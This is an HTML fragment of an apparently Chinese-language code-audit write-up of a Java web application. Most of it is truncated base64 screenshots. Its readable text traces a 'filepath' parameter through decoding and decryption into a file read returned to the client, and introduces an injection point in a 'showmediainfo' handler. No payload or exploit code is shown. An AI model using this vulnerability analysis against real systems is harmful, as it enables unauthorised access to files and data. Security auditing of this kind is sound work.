<p blockindex=10><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=11><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABQIAAAL5CAYAAADrK1mVAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd3wbx53w/88swA72XiVSvXdZzbLVbDXLLbblGtfknIt/aXeX3HNJ7nLJXXJPyiV28thJ7MRxi7tsy5YlS7aq1QslUSJFib13EiTRsfP7AxQJUoUABYmiNO/Xy34J4GJ2ZnZmsPvFzqzInHOfRFEURVEURVEURVEURVGUa5o22BlQFEVRFEVRFEVRFEVRFOXyU4FARVEURVEURVEURVEURbkOqECgoiiKoiiKoiiKoiiKolwHjImO04OdB0VRFEVRFEVRFEVRFEVRLjOjFIbBzsNVb2TOcE6ePDnY2VAURVEURVEURVEURVGUAcnJyVFTgxVFURRFURRFURRFURTleqACgYqiKIqiKIqiKIqiKIpyHVCBQEVRFEVRFEVRFEVRFEW5DqhAoKIoiqIoiqIoiqIoiqJcB1QgUFEURVEURVEURVEURVGuAyoQqCiKcglkUDxZI9IIknKws6IoiqIoig9keBbDh8ViUN/diqIoygVIKdCCgtCuwe8K42BnQFGUwJJSEqSBS4rBzso1TcpQUufey20r5pPS8B6/ea4K52BnSlEURVGU/kVOZfk3VxJetoONb73NyQbXYOdIUa4LUhowGnTc+rUXWFF8d7W3AykSGX/bQyyZMZKY8HI2/+QX7OsY7FwFlk+BQKkLwuLSSUuOJixEw21pp6W2klqzE6F5gg3GhJFMyIg857MtJYcpb1MBietdZqqBuSE6n5TodIor1x4u535lqpGXZwjWfeHgI8vV0calFKxcEMR90bB+l4P3zP3nK9DlkLMncOzJcJ7/4X5eqPcvvWn3zeXVpWHdr102O9XVLXyw7jQv5jvQL3PbGT17OKsjW3hpSyttF9mXlEGkL/sWDy9LoGrrn3h+2+Fe7St19X/x5KzTvP7jv1Lc9b6c9g1+/EAsX/z8Z3zZ3DvtxKm3M9l0it0787FeZL++bueLsKybWbJqMSPT4glxt9FYvIetH35CcZt+SeleqtTV/8VTNyd1v5aO/bz9r3/iVACOfX/1l7nm5zy2MKH7tdtupqnsIF9++C7H667dMG8g29VgkVosY2/7BrcvGEYIp9jwo19xyHZ5y6L6+cCpfq5cLlIaiBm/iltumUNWUhTC0kR13kY2f7qbBodXe6j9mL/9bz0L776Pu/4xmfDnn+VgnfuS99/feeeo8UH8W4bk/25ycnKIjrf+UuPQuelFLPwXvrdm1DnvS6mT//rXeDd3aLUNX7+3pExi3jM/YmlGM7v+8GO2Vgytcsqp/8APH5yOoU8ZZeeXvc8FpMA0YinLVt5MdmoMQbZmagu+YPP6L6jxOjdR7eDqbQfR87/KnQuSKP7sNTaWV1NnHewcBZ5PgcCgmCxyhkViq6+l0uIiJDqZxBE5UFBInd2zjRACaW+hqrIJh9dnnZbLkOvLKDEhnrDQEFyunl8GbTYbw4cP77Wd0WjEYrFQXV19hXM4NKWnGVgZAdtKdDqvg/0OHh2nW+Byy179cEixNPLcX6spArSwUGbfOIxvfnsaof99gGfLL++vRiOnD+fxJHhvSyttF9nOMPwO7rglg9pPf84bX1RdcoAyafJy5iXoHN6Zz8W+Z3zdrj8y9ibufuoBkut2sPujQjpChjF10SrWPmHgL79dR60+eF/ITQde5a2SUACipq1l+fjApe1L/UlrHlvf3E4DYDQNY8KiW7nj6yYcv/wTp6xX34lKIASqXQ0WGTGGRY98jQXDHJQUN5CTM9g5Oj/Vz3uofq5cLkEjvsLDj94EBVvYvqsKd+wkblj0GA9FuXjhlf3dF6dC6Fir97LxhVpcz/yAZffeQvGzG2i+xO/z6++88+LUOHSRcUiWsf/VjyntFX+WmMsDl48rxffvLR2Xw4XL6cR5dd4IdnFFG3nn5b0IMpn94G0knnqXTw7Wg6uJWu/t4hdx9xNfIaF6O1+uK8IaOYbZi+7nQZOd5//yZa8fCVQ7uEKZ81N8cgqGtkPs2LybaiGAa+/coN9AoNQ1ohJioaWE0qpWdE0gW2xoYWOJjY+grtrzNScEIO10tpmxad4VNbQqTdfdWCwWWltbL7pdTEwMuj64v2QpSl9CCLbsdbDF82qQczNAbjvHjjSwp+tLctMhK5G/mMwDy+J59qXGQc6c526DcTctJL55F+u2XXoQcDBETp5DdlAeH774KsdsAtjPyZYovvvobCamr6O2YvDy5qgr4FSd59+JGXde+QzoLVTmHaFUCCCXkxUGnv7Orcye/hanvjRf+fwo/Rp+yxPMiy/l8+dfIjfjaf7pKg0EXmmqn1+E6ufXJCkNjFlwE7ENW3jh5fdokALYR7E7gWdW3sSE8P0c7HN1KpylbNuwhylPLGL2iI1sLL5Kr0qHKDUOXUwndSePcMrV9zxy6J1X+kqIRg786Tsc8Lwa5Nz4T7SXUngCpHQzToeYliJOnSjq+mNPeeKnz2OYdoIPX3q9q93vo0RP5dur5zI27EsO2bxTVe3gamS32yE4mNDBzshl5MMdgRqO9lpqLe3o3QE+GzY7BAUZkbrsmh4sAIns+r/QAe3qPLAX43a7kbqOxXLxWxkjIiKuUI4CI2dsED/O0vnzEVgwSWNEsKDV7OaDYy52d3j9KpFg5P/NEew+rGMaoTHdJLBaJbtOuHi/Xu8OekgpiUs08sBYjbGRgmCnpLxB562TLs44u7YJ1/jZYiNZ3QOjkV+uMXZ//uAhO7+v6UkvJtHIg2M1JkYKjG5JUbWbN/LdVLi9fzWRxMQbWTtOY3ykINQtqW7UeS/fRZ7t8u43K8vIV0dpZIVAU5PO32pgIKeL0qjx/VuMRJxy8u9FPSlIKXhkaRDzml1887AbtxA+1TOcnd6roZ09PnYXv9rkIq/vresBLIcnPY2xC0fyoxVJjImCmsIKfnZEnpOelILk8Zl8/45UZqWFEGK1cyq/it+8U0FuRz/jhL2VvGpYlRBGgpQ0CuFzelIKRs8fyb8uT2JCUjBhuovG2lY++vAUv8u1I4VAJmXx/s9GMKa7rnL45MWuSILU2fziVr6z3zuPo8keEUJ77hFqLmEdRhm/iq//4HZSuve7hmd+vaYr3z1TAnzdDnqmKn7wdzNTb19IWpSks/Iw2977O3n1PXc5hwaHgKsZu9dto66Cv/PHX4Tj9roGllJgGr2CW5ffyIi0GDRHI9XHNrNp/XbqvaZYydGP8M9PjePYG58QvnANY5JDsTWf5tjHr7Etv9lTz2ELefjfHyJ08w958fN6r33ksPzffsCUsj/yq9cO+hVY9SV//tTf+ehVxdQ6BWnxiYDZv3qRQSTNvp9VS6aRHAXm4m18eiKVB+9KYscvfsLOJs+2w+/+JQ+PO8LLP32dirN9eMIT/ODRYez79Y/YViv83K+BpFlrWb54GmnxkQRJGx31Zzi28XW2nmjyHI9LrJdzjoWfx9c0cgVLly9gZHocBkcLjWd2e6aKmb3GRB/aFYCl6GNe27SdcosgLMPnLF8Rqp+f3ce13M/772/+HDcpBZGjl3PL8gUMT4khyNZC7eltfP7RZiq9lu/IXPNzHp2Rz4fvuZi+eg4pEU7MZQf44t13KGh2+50/X8vr0zEbtPEglM7iLew8trcrCOjRWl2NnbHEJADnCTy5TuVSbJ9P9phMKPb/Nhx/zjvPik8N4ocTNLKCJc0tOu8e1Tlo9SpvAM/HQ7OMvDBa8t+bXZwyGPjuciMjK5384zGJjDPy7A3w6gYnB7vOOzMzjTw4SiMnXBAsoa1DZ1eBm/fq9O724is1Dl3C96qMYuqTP2FNVhHv//I5TnSd30bN+w5P35nOqb/9Ox/kdXbnL3LEUpauvInslFiCXW00FH3Jto82UNzW+1rDl3r2Zbzyp7x9p9T2nUrrnb9Ajn+DJTY2HtoKabDSHecy19ZiZ7RnHKr0PS3VDganHXR0dkBYFBEG4Bq996vfQKDQXHQ01PZ+UwsjPAzsLfbuNQI9dwQGE5s1htj4cIxuB+0NZVTUdOAeggHBa5LQuGWE5MBpN18aBTePNPDkTKja7qKsT0BjarbgUIWbl92C8cM1Vs800L5dZ1NXfNQQaeTbsw3EtLhZf1xiDRYsHmngn8Lg3/a4aBIC7JK3DrkwATk5Rm4J1Xn9pE571z4aW3r2p0Ua+G5Xeh90pbdopJHvh8L/OeDG3DVAGCKNfPsGA/FmnQ15LsxGjQUjDXx7NvznThfl8vLsNyjeyP83xUBwo5u3CyTOcMHK4YIBDTFON/sbjTyarpF0xkX92cEvRmNqGByt8gQBfa5ngCY3zx7Q0YDEDANr48+/64CWAwgencOzD6URVFjB79a3Y42L47GFJtx9QoGG9Cx+/0w2CUWVvPhGG+bIGO5bMYoXYnTu/E0VNRc7GdPCSIsDR7mNZn/TS8vi/341nZAjxfzPR52YtWAmzc/mya+Po+pfcnmnA2ht5H9ftBEFTFo0nodj6vmfdY00ASCpPt0nP4Y4IsOgrbW/uxMNGMPCCe6urD4PaW8/zJbXGwgD0hY8zpyow2zakNs1lUjSVuLndt31NYobFhaRv/Xv5IbmMGPxzdz+SCcNv36Puq5+3nQqn5Zli1h0z0LMn+ympsONcFswN1nw/mVOS13JA0+swVS2jR3vFWONGMnMxQ/xiMnB8y/v6bP+UTCj50+j4NA6PnZEkz13BQse+RrWX/+CvU2A5QAnzqxl9aTZxG5ZT8vZzw6fyehYK4Uf5vp9d6VP+fO3/vqKSiQ6CCwdPZPFfa0XQ9Ya7rlnPiElX7B1cyn22InMmZsJ2P0qp7/7JWUFd91zI0En1rNxYxU2LZr02auY/8hXafnP33DEwqXXS19+HF+RsooHnlxDRMU2dr1bREd4NjOWrOHeR5z86bLine truncated
|
||||
可见从前端接受参数filepath,赋值给var3变量,var3经过SafeCode.decode方法,PubFunc.decrypt方法后,得到明文,根据方法名就可以初步猜测是解码和解密操作。后续就很简单了,var3传入File类,赋值给var4,开始获取文件的字节流并输出到响应里面</p>
|
||||
<h3 blockindex=12>showmediainfo注入</h3>
|
||||
<p blockindex=13>web.xml搜索showmediainfo,定位到代码:</p>
|
||||
<p blockindex=14><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=15><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABKwAAAMWCAYAAADcUR7UAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd3RU17nw/++ZGfXeKwJER/Qi0yy6TTO4xAY34ppc58Y/J869ie8bJ7kpN859E6fYyWvHseMKsY0xtsFYGJveqwCBhEBCBfWG6khTzv79MUIaiaIZISGBn89arMWMzux29j7lmbP3aElJSQohhBBCCCGEEEIIIXpRYmIiOTk5ABh6uSxCCCGEEEIIIYQQQrQjASshhBBCCCGEEEII0adIwEoIIYQQQgghhBBC9CkSsBJCCCGEEEIIIYQQfYoErIQQQgghhBBCCCFEnyIBKyGEEEIIIYQQQgjRp0jASgghhBBCCCGEEEL0KRKwEkIIIYQQQgghhBB9igSshBBCCCGEEEIIIUSfIgErIYQQQgghhBBCCNGnSMBKCCGEEEIIIYQQQvQpErASQgghhBBCCCGEEH2KBKyEEEIIIYQQQgghRJ8iASshhBBCCCGEEEII0adIwEoIIYQQQgghhBBC9CkSsBJCCCGEEEIIIYQQfYoErIQQQgghhBBCCCFEnyIBKyGEEEIIIYQQQgjRp0jASgghhBBCCCGEEEL0KRKwEkIIIYQQQgghhBB9igSshBBCCCGEEEIIIUSfIgErIYQQQgghhBBCCNGnSMBKCCGEEEIIIYQQQvQpErASQgghhBBCCCGEEH2KBKyEEEIIIYQQQgghRJ8iASshbnLKI4yEQbF4KNXbRRFCCCGEC5RvAgP6h2CUc7c